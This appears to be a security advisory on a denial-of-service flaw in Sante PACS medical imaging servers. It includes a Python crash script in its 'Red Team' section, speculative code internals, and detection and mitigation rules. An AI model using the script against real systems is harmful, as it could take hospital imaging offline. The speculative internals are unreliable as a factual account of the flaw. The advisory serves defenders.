CVE-2025-14501

Executive Summary

CVE-2025-14501 is a critical Denial-of-Service (DoS) vulnerability in Sante PACS Server, a medical imaging software used for Picture Archiving and Communication Systems. The flaw resides in the handling of the HTTP Content-Length header, where a NULL pointer dereference occurs due to improper validation. An unauthenticated attacker can exploit this remotely to crash the server, disrupting medical imaging workflows and potentially impacting patient care. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the risk remains significant for healthcare environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Total loss of service availability.

Threat Level: High. The vulnerability is easy to exploit and can cause a complete denial of service, which is especially dangerous in healthcare PACS environments where uptime is critical.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference (CWE-476) in the HTTP server component of Sante PACS Server. When processing incoming HTTP requests, the server parses the Content-Length header to determine the size of the request body. The flaw occurs because the server does not properly validate the pointer used to access the header value before dereferencing it. If an attacker sends a specially crafted HTTP request with a malformed or missing Content-Length header, the server may attempt to read from a NULL pointer, leading to a segmentation fault and immediate crash.

Technical Flow:

1. The attacker sends an HTTP request with a manipulated Content-Length header (e.g., a negative value, extremely large value, or a header that triggers a parsing error).
2. The server’s HTTP parser attempts to convert the header value to an integer and allocate memory accordingly.
3. Due to insufficient input validation, the parser returns a NULL pointer instead of a valid memory address.
4. The server dereferences this NULL pointer when trying to read or write data, causing a crash.

This is a stateless attack – each malicious request can crash the server, and repeated requests can keep it down, leading to a persistent DoS condition.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is speculative based on common patterns in HTTP server implementations.

Vulnerable Code (C-like pseudocode):

void handle_request(Request *req) {
    char *content_length_str = get_header(req, "Content-Length");
    int content_length = atoi(content_length_str); // No NULL check
    char *body = malloc(content_length);
    read_body(req, body, content_length);
    // ... process body
}

Patched Code (Hypothetical):

void handle_request(Request *req) {
    char *content_length_str = get_header(req, "Content-Length");
    if (content_length_str == NULL) {
        send_error(req, 400, "Bad Request");
        return;
    }
    int content_length = atoi(content_length_str);
    if (content_length < 0 || content_length > MAX_BODY_SIZE) {
        send_error(req, 400, "Bad Request");
        return;
    }
    char *body = malloc(content_length);
    if (body == NULL) {
        send_error(req, 500, "Internal Server Error");
        return;
    }
    read_body(req, body, content_length);
    // ... process body
}

The patched version adds NULL checks for the header pointer and validates the content length range before allocation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Sante PACS Server with HTTP service exposed (default port 80).
• No authentication required.
• Network access to the target.

Exploit Concept: Since no public exploit code exists, the following is a conceptual Python script that sends a malformed HTTP request to trigger the NULL pointer dereference.

import socket

def exploit(target_ip, target_port=80):
    # Craft a request with a malformed Content-Length header
    # Using a negative value or a header that causes parsing failure
    payload = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Length: -1\r\n"  # Negative value to trigger parsing error
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Connection: close\r\n"
        "\r\n"
    ).format(target_ip)

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, target_port))
        sock.send(payload.encode())
        response = sock.recv(4096)
        print(f"Response: {response.decode(errors='ignore')}")
        sock.close()
        print("[+] Exploit sent. Check if service is down.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit("192.168.1.100")

Expected Outcome: The server crashes, and subsequent requests fail with connection refused or timeout.

Blue Team (Detection & Defense)

Detection:

• Monitor for HTTP requests with anomalous Content-Length headers (negative, extremely large, or non-numeric values).
• Look for repeated connection attempts followed by service crashes.
• Use network intrusion detection systems (NIDS) to flag malformed HTTP headers.

Defense:

• If possible, place the PACS server behind a reverse proxy (e.g., Nginx, HAProxy) that validates HTTP headers before forwarding.
• Implement a Web Application Firewall (WAF) rule to block requests with invalid Content-Length headers.
• Restrict network access to the PACS server using firewall rules (allow only trusted IPs).
• Monitor server logs for crashes and restart the service automatically (e.g., using systemd restart policies).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Content-Length: -1 or other negative values.
  • HTTP requests with Content-Length header containing non-numeric characters (e.g., Content-Length: abc).
  • Repeated HTTP requests from the same source IP followed by service unavailability.
• System IOCs:
  • Application crash logs showing segmentation faults in the PACS server process.
  • Event logs indicating service termination (e.g., Windows Event ID 1000 for application errors).
  • Memory dumps or core files generated by the server process.

Detection Engineering

YARA Rule

rule CVE_2025_14501_Sante_PACS_DoS {
    meta:
        description = "Detects malformed HTTP requests targeting CVE-2025-14501"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14501"
    strings:
        $content_length = /Content-Length:\s*(-\d+|[a-zA-Z]+)/ nocase
    condition:
        $content_length
}

Sigma Rule

title: Sante PACS Server DoS via Malformed Content-Length Header
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with invalid Content-Length headers targeting Sante PACS Server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: "POST"
        cs-uri-query: "*"
        cs-header: "Content-Length"
    condition: selection and (cs-header matches "^-\\d+$" or cs-header matches "^[a-zA-Z]+$")
falsepositives:
    - Legitimate malformed requests from testing tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14501 Sante PACS DoS Attempt"; flow:to_server; content:"Content-Length"; http_header; pcre:"/Content-Length:\s*(-\d+|[a-zA-Z]+)/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Server: If possible, disconnect the Sante PACS Server from untrusted networks or place it behind a firewall that only allows traffic from known medical devices.
2. Apply Virtual Patching: Use a WAF or reverse proxy to block requests with invalid Content-Length headers. Example Nginx rule:

   if ($http_content_length ~ "^-|^[a-zA-Z]") {
       return 400;
   }
   

3. Monitor for Crashes: Set up automated monitoring to restart the service if it crashes (e.g., using systemd Restart=always).

Long-Term Fix:

• Contact Sante support for an official patch. As of now, no patch is available. Consider migrating to an alternative PACS solution if the vendor does not provide a fix.
• Implement a Web Application Firewall (WAF) with custom rules to sanitize HTTP headers.

Workaround:

• Disable HTTP access and use only HTTPS if the vulnerability is limited to HTTP (though the CVE does not specify). If HTTPS is not affected, enforce TLS.

Valters IT